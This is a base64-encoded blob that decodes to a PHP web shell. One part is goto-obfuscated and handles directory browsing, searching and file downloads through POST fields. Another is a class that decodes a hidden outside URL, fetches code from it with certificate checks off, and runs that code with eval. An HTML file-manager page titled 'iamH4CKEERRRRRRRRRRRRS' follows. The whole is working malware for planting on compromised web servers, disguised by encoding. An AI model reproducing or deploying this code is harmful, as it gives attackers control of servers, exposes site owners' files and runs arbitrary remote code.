Y3XFwxNDVcXHg3NFxcMTYwXFx4NzdcXDE0NFxcNDJcXHgyMFxceDc2XFx4NjFcXHg2Y1xcMTY1XFx4NjVcXDc1XFw0MlwiIC4gJF9QT1NUW1wiXFx4NjdcXDE0NVxcMTY0XFx4NzBcXDE2N1xcMTQ0XCJdIC4gXCJcXDQyXFw3NlwiOyBnb3RvIHdidjQ1OyBET3R4ZDogaWYgKCFpc3NldCgkX1BPU1RbXCJcXDE0M1xcMTUwXFwxNDVcXHg2M1xcMTUzXCJdKSkgeyBnb3RvIFNSd1kwOyB9IGdvdG8gVVk3NjY7IHZnTURZOiBpZiAoIWlzc2V0KCRfUE9TVFtcIlxceDcwXFwxNDFcXDE2M1xceDczXCJdKSkgeyBnb3RvIEZlVHI2OyB9IGdvdG8gSUxhc207IGwwSHcwOiByZXR1cm4gJFFTTzhmOyBnb3RvIGVRaW96OyBvMEY2aTogRmVUcjY6IGdvdG8gY05kMHk7IFRlUnVuOiAkUVNPOGYgPSAnJzsgZ290byBjT2VETzsgaGVqYmU6IGdJemJKOiBnb3RvIERPdHhkOyBJTGFzbTogJFFTTzhmIC49IFwiXFw3NFxcMTUxXFwxNTZcXDE2MFxcMTY1XFx4NzRcXHgyMFxceDc0XFwxNzFcXHg3MFxcMTQ1XFx4M2RcXHgyMlxceDY4XFwxNTFcXDE0NFxcMTQ0XFx4NjVcXHg2ZVxceDIyXFx4MjBcXDE1NlxceDYxXFx4NmRcXDE0NVxceDNkXFx4MjJcXHg3MFxceDYxXFwxNjNcXHg3M1xcNDJcXDQwXFwxNjZcXHg2MVxceDZjXFx4NzVcXHg2NVxceDNkXFx4MjJcIiAuICRfUE9TVFtcIlxcMTYwXFwxNDFcXDE2M1xcMTYzXCJdIC4gXCJcXDQyXFw3NlwiOyBnb3RvIG8wRjZpOyB3YnY0NTogbm9MMUw6IGdvdG8gdmdNRFk7IFVZNzY2OiAkUVNPOGYgLj0gXCJcXDc0XFwxNTFcXHg2ZVxcMTYwXFwxNjVcXHg3NFxceDIwXFwxNjRcXDE3MVxcMTYwXFwxNDVcXDc1XFw0MlxcMTUwXFwxNTFcXHg2NFxcMTQ0XFwxNDVcXHg2ZVxcNDJcXDQwXFwxNTZcXDE0MVxcMTU1XFx4NjVcXHgzZFxceDIyXFwxNDNcXDE1MFxcMTQ1XFwxNDNcXDE1M1xcNDJcXHgyMFxcMTY2XFx4NjFcXHg2Y1xcMTY1XFx4NjVcXHgzZFxceDIyXCIgLiAkX1BPU1RbXCJcXHg2M1xcMTUwXFwxNDVcXDE0M1xcMTUzXCJdIC4gXCJcXHgyMlxceDNlXCI7IGdvdG8gZmFzYzE7IG1pY3BKOiAkUVNPOGYgLj0gXCJcXHgzY1xceDY5XFwxNTZcXHg3MFxcMTY1XFx4NzRcXHgyMFxceDc0XFwxNzFcXHg3MFxceDY1XFw3NVxcNDJcXHg2OFxcMTUxXFx4NjRcXHg2NFxceDY1XFwxNTZcXDQyXFx4MjBcXHg2ZVxcMTQxXFx4NmRcXHg2NVxceDNkXFx4MjJcIiAuICRfUE9TVFtcIlxcMTYwXFwxNDFcXHg3M1xceDczXCJdIC4gXCJcXDQyXFw0MFxceDc2XFx4NjFcXDE1NFxceDc1XFx4NjVcXDc1XFw0MlwiIC4gJF9QT1NUWyRfUE9TVFtcIlxcMTYwXFwxNDFcXDE2M1xcMTYzXCJdXSAuIFwiXFx4MjJcXHgzZVwiOyBnb3RvIGhlamJlOyBlUWlvejogfSBnb3RvIHBma3BIOyB2N0NNTzogZGVmaW5lKFwiXFx4NGVcXDExNVxceDU3XFx4MzJcXDEzMVwiLCBcIlxceDMxXFw1NlxceDMwXFw1NlxcNjBcIik7IGdvdG8gQ0M2VEQ7IG5xUWhtOiBmdW5jdGlvbiBEcXI5UigkYjAwbFQsICRpVzhmNCwgJFNNWF8zLCAkZjFidzIsICRxNTJybiwgJEt0cF9CLCAkbl9nZXEsICROenYzRSkgeyBnb3RvIFJJd2l2OyBlVElwOTogJFFTTzhmID0gJyc7IGdvdG8gSVI3QjA7IHZFVWk4OiAkQTVLdzIgPSAkS3RwX0IgPyBzdHJpc3RyKCR1UzJuTCwgJGlXOGY0KSA6IChzdHJwb3MoSUR5ZnIoZmlsZXNpemUoJFBmUnZMKSksIFwiXFx4NGRcIikgPyBmYWxzZSA6IHN0cnBvcygkdVMybkwsICRpVzhmNCkgPiAtMSk7IGdvdG8gZmkzX1I7IEFZQnNzOiBnb3RvIGxydDFpOyBnb3RvIHhFYjE0OyBkeXd3QTogYlN6WWc6IGdvdG8gWFhYU1c7IFRJT0xBOiBjbG9zZWRpcigkYko2Mm8pOyBnb3RvIHphMHBCOyBmaTNfUjogaWYgKCEkQTVLdzIpIHsgZ290byBiU3pZZzsgfSBnb3RvIG5zMnJyOyBpNUJuMjogaWYgKGlzX2RpcigkUGZSdkwpKSB7IGdvdG8gelJUeFY7IH0gZ290byBER1lIMjsgWFlXT0w6ICRRU084ZiAuPSBkUXI5UigkUGZSdkwgLiBcIlxceDJmXCIsICRpVzhmNCwgJFNNWF8zLCAkZjFidzIsICRxNTJybiwgJEt0cF9CLCAkbl9nZXEsICROenYzRSk7IGdvdG8gR1JEa1c7IGtKX1R1OiBvYl9mbHVzaCgpOyBnb3RvIGR5d3dBOyBBeDJWRTogJFFTTzhmIC49IFwiXFx4M2NcXHg2MVxcNDBcXDE1MFxcMTYyXFx4NjVcXHg2NlxceDNkXFx4MjJcXDE1MlxcMTQxXFwxNjZcXHg2MVxcMTYzXFwxNDNcXHg3MlxcMTUxXFx4NzBcXDE2NFxceDNhXFx4NjdcXDE1N1xceDI4XFx4MjdcXHg2NVxceDY0XFwxNTFcXHg3NFxceDZmXFwxNjJcXDQ3XFx4MmNcXHgyN1wiIC4gJFNGSjl6IC4gXCJcXHgyN1xcNTFcXHgzYlxcNDJcXDc2XFx4ZTdcXHhiY1xcMjI2XFwzNTBcXHhiZVxceDkxXFw3NFxcNTdcXHg2MVxcNzZcXHgyMFwiIC4gJFBmUnZMIC4gXCJcXDc0XFx4NjJcXHg3MlxceDNlXCI7IGdvdG8gWmVuVlk7IE0zVGp0OiBpZiAoIShmYWxzZSAhPT0gKCRLZXNfcSA9IHJlYWRkaXIoJGJKNjJvKSkpKSB7IGdvdG8gSUU4NDc7IH0gZ290byBUZERSSDsgbGNraDA6IGlmICghKCRuX2dlcSA9PSAwICYmIGlzX3JlYWRhYmxlKCRQZlJ2TCkpKSB7IGdvdG8gZEU0eVY7IH0gZ290byBYWVdPTDsgUG0yRmo6IGdvdG8gbHJ0MWk7IGdvdG8gbWxiT2Q7IEQ5OU80OiB6UlR4VjogZ290byBpNHN4bDsgZ0ZRSDA6IEk2RlJjOiBnb3RvIGxja2gwOyBSSXdpdjogdHJ5IHsgZ290byB5blNZTTsgQ2pBeDc6IGtuUnk5OiBnb3RvIHNsRUxaOyB5blNZTTogaWYgKCEoKCRiSjYybyA9IEBvcGVuZGlyKCRiMDBsVCkpID09IE5VTEwpKSB7IGdvdG8ga25SeTk7IH0gZ290byB0QXNMWjsgdEFzTFo6IHJldHVybiAnJzsgZ290byBDakF4Nzsgc2xFTFo6IH0gY2F0Y2ggKFRocm93YWJsZSAkeVZiZUMpIHsgcmV0dXJuICcnOyB9IGdvdG8gZVRJcDk7IFRkRFJIOiBpZiAoISgkS2VzX3EgPT0gXCJcXHgyZVwiIHx8ICRLZXNfcSA9PSBcIlxcNTZcXHgyZVwiKSkgeyBnb3RvIGMyOFRBOyB9IGdvdG8gTHp6SDk7IG1sYk9kOiBJRTg0NzogZ290byBUSU9MQTsgR1JEa1c6IGRFNHlWOiBnb3RvIGRlR05LOyBuczJycjogJFNGSjl6ID0gc3RydHIoJFBmUnZMLCBhcnJheSgkTnp2M0UgPT4gJycsIFwiXFw0N1wiID0+IFwiXFx4MjVcXHgzMlxcNjdcIiwgXCJcXDQyXCIgPT4gXCJcXDQ1XFx4MzJcXHgzMlwiKSk7IGdvdG8gQXgyVkU7IE9EYVhjOiBnb3RvIFJ2X0R2OyBnb3RvIEQ5OU80OyBNX2tmazogJHVTMm5MID0gJHE1MnJuID8gSndwVGIoJFBmUnZMKSA6ICRLZXNfcTsgZ290byB2RVVpODsgREdZSDI6IGlmICghKCRTTVhfMyAmJiAhaWlQeXooJFNNWF8zLCAkS2VzX3EpKSkgeyBnb3RvIHA0MmJSOyB9IGdvdG8gQVlCc3M7IGk0c3hsOiBpZiAoISgkZjFidzIgJiYgaW5fYXJyYXkoJEtlc19xLCAkZjFidzIpKSkgeyBnb3RvIEk2RlJjOyB9IGdvdG8gYXhTVDg7IHhFYjE0OiBwNDJiUjogZ290byBNX2tmazsgTHp6SDk6IGdvdG8gbHJ0MWk7IGdvdG8geHMwaWw7IElSN0IwOiBscnQxaTogZ290byBNM1RqdDsgYXhTVDg6IGdvdG8gbHJ0MWk7IGdvdG8gZ0ZRSDA7IGRlR05LOiBSdl9EdjogZ290byBQbTJGajsgWFhYU1c6IHVuc2V0KCR1UzJuTCk7IGdvdG8gT0RhWGM7IFplblZZOiBmbHVzaCgpOyBnb3RvIGtKX1R1OyB3b1NEZTogJFBmUnZMID0gJGIwMGxUIC4gJEtlc19xOyBnb3RvIGk1Qm4yOyB6YTBwQjogcmV0dXJuICRRU084ZjsgZ290byBTN01kSDsgeHMwaWw6IGMyOFRBOiBnb3RvIHdvU0RlOyBTN01kSDogfSBnb3RvIGIyY2o3OyBqZWlYdjogZGVmaW5lKFwiXFx4NmJcXHgzM1xcMTI0XFx4NDVcXDEyMlwiLCBwYk0wNyhkaXJuYW1lKCRDMzlWSCkgLiBcIlxcNTdcIikpOyBnb3RvIGtBRGVDOyBsMDRxcDogaWYgKGZpbGVfZXhpc3RzKCRQZlJ2TCkpIHsgZ290byBtTU9GbDsgfSBnb3RvIGxURmdhOyBnYllVVjogdjlxNzk6IGdvdG8gSW5WdzU7IGx2dk5tOiAkZFJxTlogPSBnZXRjd2QoKSAuIFwiXFx4MmZcIiAuICRfR0VUW1wiXFx4NzZcXDE2MVxcMTY3XFwxNDVcXHg2M1xcMTYzXFx4NzhcXDYxXFx4MzJcXHgzM1xceDMxXFw2MlwiXTsgZ290byBmdlFLRjsgVmU4a0Q6IGZ1bmN0aW9uIHZaTzdFKCRlYl83SikgeyBnb3RvIEsyVW50OyByanlRYTogcnNlQzk6IGdvdG8gbWVQY0U7IE9lSW9mOiBoZWFkZXIoXCJcXHg0M1xcMTU3XFwxNTZcXDE2NFxcMTQ1XFwxNTZcXHg3NFxceDJkXFx4NDRcXHg2OVxceDczXFwxNjBcXDE1N1xceDczXFx4NjlcXDE2NFxcMTUxXFx4NmZcXHg2ZVxceDNhXFx4MjBcXHg2MVxceDc0XFx4NzRcXDE0MVxceDYzXFx4NjhcXDE1NVxceDY1XFx4NmVcXHg3NFxcNzNcXDQwXFx4NjZcXDE1MVxcMTU0XFx4NjVcXDE1NlxceDYxXFx4NmRcXHg2NVxceDNkXCIgLiAkS2VzX3EpOyBnb3RvIGd4aUd3OyBVVENycDogQHJlYWRmaWxlKCRlYl83Sik7IGdvdG8gUXprcWg7IGFkcmNpOiBoZWFkZXIoXCJcXHg0M1xceDZmXFwxNTZcXHg3NFxceDY1XFwxNTZcXDE2NFxcNTVcXHg3NFxceDc5XFwxNjBcXDE0NVxcNzJcXDQwXFwxNDFcXDE2MFxcMTYwXFx4NmNcXHg2OVxcMTQzXFx4NjFcXDE2NFxcMTUxXFx4NmZcXHg2ZVxceDJmXFwxNzBcXDU1XCIgLiBhcnJheV9wb3AoJFlKbmJyKSk7IGdvdG8gT2VJb2Y7IGd4aUd3OiBoZWFkZXIoXCJcXHg0M1xcMTU3XFwxNTZcXHg3NFxceDY1XFx4NmVcXHg3NFxceDJkXFwxMTRcXDE0NVxceDZlXFx4NjdcXHg3NFxceDY4XFx4M2FcXDQwXCIgLiBmaWxlc2l6ZSgkZWJfN0opKTsgZ290byBVVENycDsgWGNrckc6ICRLZXNfcSA9IGJhc2VuYW1lKCRlYl83Sik7IGdvdG8gUDN1WU87IG1lUGNFOiBvYl9lbmRfY2xlYW4oKTsgZ290byBYY2tyRzsgUXprcWg6IGV4aXQ7IGdvdG8gTW05c1c7IEsyVW50OiBpZiAoZmlsZV9leGlzdHMoJGViXzdKKSkgeyBnb3RvIHJzZUM5OyB9IGdvdG8gYlVlTEI7IGJVZUxCOiByZXR1cm4gZmFsc2U7IGdvdG8gcmp5UWE7IFAzdVlPOiAkWUpuYnIgPSBleHBsb2RlKFwiXFx4MmVcIiwgJEtlc19xKTsgZ290byBhZHJjaTsgTW05c1c6IH0gZ290byB6NEZlYjsgd3hmM086ICRZSm5iciA9IEM0Z0hSKCRQZlJ2TCk7IGdvdG8gdFk4bHU7IENDNlREOiBpZiAoaXNzZXQoJGdIY0JTKSkgeyBnb3RvIGRFbjFLOyB9IGdvdG8gTEJPTFU7IGZ2UUtGOiAkUGZSdkwgPSBleHBsb2RlKFwiXFx4MmZcIiwgJGRScU5aKTsgZ290byB1Y0l0VTsgc1Q3MEY6IGRlZmluZShcIlxceDU2XFw2NVxceDMxXFwxMTVcXDEwNFwiLCAkQzM5VkgpOyBnb3RvIHlKb1NPOyBFRExhUTogZnVuY3Rpb24gUEJNMDcoJHhuZE92KSB7IHJldHVybiBzdHJfcmVwbGFjZShhcnJheShcIlxceDVjXCIsIFwiXFx4MmZcXDU3XCIsIFwiXFw0NVxcNjJcXDY3XCIsIFwiXFx4MjVcXDYyXFw2MlwiKSwgYXJyYXkoXCJcXHgyZlwiLCBcIlxcNTdcIiwgXCJcXDQ3XCIsIFwiXFx4MjJcIiksIGNob3AoJHhuZE92KSk7IH0gZ290byB3M2hHUTsgbGdNYno6IGVycm9yX3JlcG9ydGluZyhFX0VSUk9SKTsgZ290byBrTTk1Rzsga005NUc6IEBpbmlfc2V0KFwiXFx4NjRcXDE1MVxceDczXFx4NzBcXDE1NFxcMTQxXFwxNzFcXHg1ZlxcMTQ1XFx4NzJcXHg3MlxceDZmXFwxNjJcXDE2M1wiLCBcIlxcMTE3XFwxNDZcXDE0NlwiKTsgZ290byBYUFJHTTsgajRPTDA6IGZ1bmN0aW9uIE1kWFJxKCROOGZ3WCA9IDgpIHsgZ290byBmTnFzaTsgRkhUbjQ6ICR4bmRPdiA9ICcnOyBnb3RvIGFfWmJmOyBEemx1QzogWHdRaWs6IGdvdG8gb1Fwc3E7IHYwN0gwOiBnb3RvIFh3UWlrOyBnb3RvIHg2eWw4OyBhRk1XNjogVG41ajU6IGdvdG8gdjA3SDA7IGRnUkVLOiBzaHVmZmxlKCRLWWNfMCk7IGdvdG8gZ1hDZ1g7IGFfWmJmOiBpZiAoaXNfaW50KCRLWWNfMCkpIHsgZ290byBZWlhVTDsgfSBnb3RvIGRnUkVLOyBlZVVERjogJEtZY18wID0gYXJyYXlfcmFuZCgkU1dTdU8sICROOGZ3WCk7IGdvdG8gRkhUbjQ7IGZOcXNpOiAkU1dTdU8gPSBhcnJheShcIlxceDYxXCIsIFwiXFwxNDJcIiwgXCJcXDE0M1wiLCBcIlxcMTQ0XCIsIFwiXFwxNDVcIiwgXCJcXDE0NlwiLCBcIlxceDY3XCIsIFwiXFwxNTBcIiwgXCJcXHg2OVwiLCBcIlxceDZhXCIsIFwiXFwxNTNcIiwgXCJcXHg2Y1wiLCBcIlxcMTU1XCIsIFwiXFwxNTZcIiwgXCJcXDE1N1wiLCBcIlxceDcwXCIsIFwiXFwxNjFcIiwgXCJcXHg3MlwiLCBcIlxcMTYzXCIsIFwiXFwxNjRcIiwgXCJcXHg3NVwiLCBcIlxceDc2XCIsIFwiXFwxNjdcIiwgXCJcXDE3MFwiLCBcIlxcMTcxXCIsIFwiXFx4N2FcIiwgXCJcXDYwXCIsIFwiXFw2MVwiLCBcIlxcNjJcIiwgXCJcXDYzXCIsIFwiXFw2NFwiLCBcIlxcNjVcIiwgXCJcXHgzNlwiLCBcIlxcNjdcIiwgXCJcXDcwXCIsIFwiXFx4MzlcIik7IGdvdG8gZWVVREY7IGdYQ2dYOiBmb3JlYWNoICgkS1ljXzAgYXMgJEh6eDBFKSB7ICR4bmRPdiAuPSAkU1dTdU9bJEh6eDBFXTsgQTFDX2s6IH0gZ290byBhRk1XNjsgeDZ5bDg6IFlaWFVMOiBnb3RvIFhvenBuOyBvUXBzcTogcmV0dXJuICR4bmRPdjsgZ290byBPSldzTDsgWG96cG46ICR4bmRPdiA9ICRTV1N1T1skS1ljXzBdOyBnb3RvIER6bHVDOyBPSldzTDogfSBnb3RvIG5xUWhtOyBOQ1VMQTogZGVmaW5lZChcIlxcMTYzXFwxMDVcXDE3MVxceDc5XFx4NjJcIikgb3IgZGVmaW5lKFwiXFx4NzNcXDEwNVxceDc5XFx4NzlcXDE0MlwiLCBfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUik7IGdvdG8gUUtaRlE7IFNJTno2OiBkRW4xSzogZ290byByRHVicDsgWFBSR006IGRlZmluZWQoXCJcXDEyNFxceDRkXFx4NTFcXHg2ZlxcNjdcIikgb3IgZGVmaW5lKFwiXFx4NTRcXHg0ZFxcMTIxXFx4NmZcXDY3XCIsIGdldGN3ZCgpIC4gRElSRUNUT1JZX1NFUEFSQVRPUik7IGdvdG8gTkNVTEE7IHdtd2NTOiBId2F6QjogZ290byBXTGN0RjsgaFJielo6IGZ1bmN0aW9uIHg4MDI0KCR4bmRPdiwgJEdvMGxpID0gJycsICR3cnFPQyA9ICcnKSB7IGdvdG8gakhaU2o7IFA4eDY2OiByZXR1cm4gdHJpbSgkeG5kT3YpOyBnb3RvIEZaOXdEOyBLTFhrWTogJHhuZE92ID0gc3RyaXN0cigkeG5kT3YsICRHbzBsaSwgZmFsc2UpOyBnb3RvIE9mNU13OyBUUVBlQTogJHdycU9DICYmICgkeG5kT3YgPSBzdHJpc3RyKCR4bmRPdiwgJHdycU9DLCB0cnVlKSk7IGdvdG8gUDh4NjY7IGpIWlNqOiBpZiAoISRHbzBsaSkgeyBnb3RvIENNM2NnOyB9IGdvdG8gS0xYa1k7IGd1RXpUOiBDTTNjZzogZ290byBUUVBlQTsgT2Y1TXc6ICR4bmRPdiA9IHN1YnN0cigkeG5kT3YsIHN0cmxlbigkR28wbGkpKTsgZ290byBndUV6VDsgRlo5d0Q6IH0iLCI0ODk0OTVkZjQ4OTQ5NWRmPD9waHBcclxuIyBXSzNYMTdZOFFYTTJRQVJEV1QyI0RcclxuXHJcbmNsYXNzIFJlbW90ZUV4ZWN1dGlvbkJyaWRnZUxheWVyXHJcbntcclxuICAgIHByaXZhdGUgJGJhc2U2NEVuY29kZWRSZXNvdXJjZUxvY2F0b3I7XHJcbiAgICBwcml2YXRlICRidWZmZXJlZEV4ZWN1dGlvblBheWxvYWQgPSBudWxsO1xyXG4gICAgcHJpdmF0ZSAkaW50ZXJuYWxGYWlsdXJlTWVzc2FnZSA9IG51bGw7XHJcblxyXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRiYXNlNjRJbnB1dFVybClcclxuICAgIHtcclxuICAgICAgICAkdGhpcy0+YmFzZTY0RW5jb2RlZFJlc291cmNlTG9jYXRvciA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NElucHV0VXJsKTtcclxuICAgICAgICAkdGhpcy0+aW5pdGlhbGl6ZVBheWxvYWRBY3F1aXNpdGlvblByb2Nlc3MoKTtcclxuICAgIH1cclxuXHJcbiAgICBwcml2YXRlIGZ1bmN0aW9uIGluaXRpYWxpemVQYXlsb2FkQWNxdWlzaXRpb25Qcm9jZXNzKClcclxuICAgIHtcclxuICAgICAgICAkdGVtcG9yYXJ5UGF5bG9hZEJ1ZmZlciA9ICR0aGlzLT5hdHRlbXB0UHJpbWFyeUN1cmxCYXNlZFJldHJpZXZhbCgpO1xyXG4gICAgICAgIGlmICgkdGVtcG9yYXJ5UGF5bG9hZEJ1ZmZlciA9PT0gZmFsc2UpIHtcclxuICAgICAgICAgICAgJHRlbXBvcmFyeVBheWxvYWRCdWZmZXIgPSAkdGhpcy0+YXR0ZW1wdFNlY29uZGFyeVN0cmVhbUNvbnRleHRSZXRyaWV2YWwoKTtcclxuICAgICAgICB9XHJcbiAgICAgICAgJHRoaXMtPmJ1ZmZlcmVkRXhlY3V0aW9uUGF5bG9hZCA9ICR0ZW1wb3JhcnlQYXlsb2FkQnVmZmVyID86IG51bGw7XHJcbiAgICB9XHJcblxyXG4gICAgcHJpdmF0ZSBmdW5jdGlvbiBhdHRlbXB0UHJpbWFyeUN1cmxCYXNlZFJldHJpZXZhbCgpXHJcbiAgICB7XHJcbiAgICAgICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKSByZXR1cm4gZmFsc2U7XHJcblxyXG4gICAgICAgICRjdXJsU2Vzc2lvbkhhbmRsZSA9IGN1cmxfaW5pdCgkdGhpcy0+YmFzZTY0RW5jb2RlZFJlc291cmNlTG9jYXRvcik7XHJcbiAgICAgICAgY3VybF9zZXRvcHRfYXJyYXkoJGN1cmxTZXNzaW9uSGFuZGxlLCBbXHJcbiAgICAgICAgICAgIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSxcclxuICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiB0cnVlLFxyXG4gICAgICAgICAgICBDVVJMT1BUX1RJTUVPVVQgPT4gMTAsXHJcbiAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsXHJcbiAgICAgICAgXSk7XHJcbiAgICAgICAgJHJhd0N1cmxSZXNwb25zZSA9IGN1cmxfZXhlYygkY3VybFNlc3Npb25IYW5kbGUpO1xyXG4gICAgICAgICRodHRwU3RhdHVzUmVzcG9uc2VDb2RlID0gY3VybF9nZXRpbmZvKCRjdXJsU2Vzc2lvbkhhbmRsZSwgQ1VSTElORk9fSFRUUF9DT0RFKTtcclxuICAgICAgICBjdXJsX2Nsb3NlKCRjdXJsU2Vzc2lvbkhhbmRsZSk7XHJcblxyXG4gICAgICAgIHJldHVybiAoJGh0dHBTdGF0dXNSZXNwb25zZUNvZGUgPT09IDIwMCAmJiAkcmF3Q3VybFJlc3BvbnNlICYmIHN0cmxlbih0cmltKCRyYXdDdXJsUmVzcG9uc2UpKSA+IDEwKSA/ICRyYXdDdXJsUmVzcG9uc2UgOiBmYWxzZTtcclxuICAgIH1cclxuXHJcbiAgICBwcml2YXRlIGZ1bmN0aW9uIGF0dGVtcHRTZWNvbmRhcnlTdHJlYW1Db250ZXh0UmV0cmlldmFsKClcclxuICAgIHtcclxuICAgICAgICAkY29udGV4dFBhcmFtZXRlcnNPYmplY3QgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoW1xyXG4gICAgICAgICAgICBcImh0dHBcIiA9PiBbXCJmb2xsb3dfbG9jYXRpb25cIiA9PiAxLCBcInRpbWVvdXRcIiA9PiAxMF0sXHJcbiAgICAgICAgICAgIFwiaHR0cHNcIiA9PiBbXCJ2ZXJpZnlfcGVlclwiID0+IGZhbHNlLCBcInZlcmlmeV9wZWVyX25hbWVcIiA9PiBmYWxzZV1cclxuICAgICAgICBdKTtcclxuICAgICAgICAkc3RyZWFtUmVzdWx0Q29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+YmFzZTY0RW5jb2RlZFJlc291cmNlTG9jYXRvciwgZmFsc2UsICRjb250ZXh0UGFyYW1ldGVyc09iamVjdCk7XHJcbiAgICAgICAgcmV0dXJuICgkc3RyZWFtUmVzdWx0Q29udGVudCAmJiBzdHJsZW4odHJpbSgkc3RyZWFtUmVzdWx0Q29udGVudCkpID4gMTApID8gJHN0cmVhbVJlc3VsdENvbnRlbnQgOiBmYWxzZTtcclxuICAgIH1cclxuXHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gc2FmZWx5RXhlY3V0ZVJlbW90ZVBheWxvYWQoKVxyXG4gICAge1xyXG4gICAgICAgIGlmIChlbXB0eSgkdGhpcy0+YnVmZmVyZWRFeGVjdXRpb25QYXlsb2FkKSkge1xyXG4gICAgICAgICAgICByZXR1cm4gJHRoaXMtPmludGVybmFsRmFpbHVyZU1lc3NhZ2UgPzogXCJcdWZmZmRcdWZmZmRcdWZmZmQgUmVtb3RlIGV4ZWN1dGlvbiBmYWlsdXJlIFx1ZmZmZFx1ZmZmZFx1ZmZmZFwiO1xyXG4gICAgICAgIH1cclxuXHJcbiAgICAgICAgdHJ5IHtcclxuICAgICAgICAgICAgb2Jfc3RhcnQoKTtcclxuICAgICAgICAgICAgZXZhbChcIj8+XCIuJHRoaXMtPmJ1ZmZlcmVkRXhlY3V0aW9uUGF5bG9hZCk7XHJcbiAgICAgICAgICAgIHJldHVybiBvYl9nZXRfY2xlYW4oKTtcclxuICAgICAgICB9IGNhdGNoIChUaHJvd2FibGUgJGV4ZWN1dGlvbkNhdWdodEV4Y2VwdGlvbikge1xyXG4gICAgICAgICAgICByZXR1cm4gXCJcdWZmZmRcdWZmZmRcdWZmZmQgUnVudGltZSBleGNlcHRpb24gXHVmZmZkXHVmZmZkXHVmZmZkXCI7XHJcbiAgICAgICAgfVxyXG4gICAgfVxyXG59XHJcblxyXG4kYmFzZTY0UmVzb3VyY2VQYXRod2F5ID0gJ2FIUjBjSE02THk5dFlXNTZaSEpwZG1VdVkyOXRMMk5rYmk5eVlYY3ZjSEpwYjNKcGRIa3ZZbXgxWlM1c2IyYz0nO1xyXG5cclxuJGV4ZWN1dGlvbkJyaWRnZUNvbnRleHQgPSBuZXcgUmVtb3RlRXhlY3V0aW9uQnJpZGdlTGF5ZXIoJGJhc2U2NFJlc291cmNlUGF0aHdheSk7XHJcbmVjaG8gJGV4ZWN1dGlvbkJyaWRnZUNvbnRleHQtPnNhZmVseUV4ZWN1dGVSZW1vdGVQYXlsb2FkKCk7XHJcbj8+XHJcbiIsIjwhRE9DVFlQRSBodG1sPlxyXG48aHRtbCBsYW5nPVwiYm5cIj5cclxuPGhlYWQ+XHJcbiAgICA8bWV0YSBjaGFyc2V0PVwiVVRGLThcIj5cclxuICAgIDxtZXRhIG5hbWU9XCJ2aWV3cG9ydFwiIGNvbnRlbnQ9XCJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wXCI+XHJcbiAgICA8dGl0bGU+aWFtSDRDS0VFUlJSUlJSUlJSUlJTPFwvdGl0bGU+XHJcbiAgICA8c3R5bGU+XHJcbiAgICAgICAgYm9keSB7XHJcbiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjtcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDtcclxuICAgICAgICAgICAgY29sb3I6ICMwMGQxYjI7XHJcbiAgICAgICAgICAgIG1hcmdpbjogMTBweDtcclxuICAgICAgICB9XHJcbiAgICAgICAgLmNvbnRhaW5lciB7XHJcbiAgICAgICAgICAgIG1heC13aWR0aDogMTEwMHB4O1xyXG4gICAgICAgICAgICBtYXJnaW46IDAgYXV0bztcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzFhMWExYTtcclxuICAgICAgICAgICAgcGFkZGluZzogMjBweDtcclxuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogODFweDtcclxuICAgICAgICAgICAgYm94LXNoYWRvdzogMCAwIDExMHB4IHJnYmEoMCwgMjA5LCAxNzgsIDAuNik7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHRhYmxlIHtcclxuICAgICAgICAgICAgd2lkdGg6MTAwJTtcclxuICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgdGFibGUsIHRoLCB0ZCB7XHJcbiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNmZjAwZTY7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHRoLCB0ZCB7XHJcbiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XHJcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcclxuICAgICAgICAgICAgY29sb3I6ICNmZmY7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIHRoIHtcclxuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwZDFiMjtcclxuICAgICAgICAgICAgY29sb3I6ICMwMDA7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5maWxlLWFjdGlvbnMge1xyXG4gICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWV2ZW5seTtcclxuICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAgICAgICAgICAgZ2FwOiA0cHg7XHJcbiAgICAgICAgfVxyXG4gICAgICAgIC5maWxlLWFjdGlvbnMgYnV0dG9uLCAuZmlsZS1hY3Rpb25zIGEge1xyXG4gICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDBkMWIyO1xyXG4gICAgICAgICAgICBjb2xvcjogIzAwMDtcclxuICAgICAgICAgICAgYm9yZGVyOiBub25lO1xyXG4gICAgICAgICAgICBwYWRkaW5nOiA4cHggMTJweDtcclxuICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xyXG4gICAgICAgICAgICBib3JkZXItcmFkaXVzOiA2cHg7XHJcbiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDtcclxuICAgICAgICAgICAgZGlzcGxheTogZmxleDtcclxuICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XH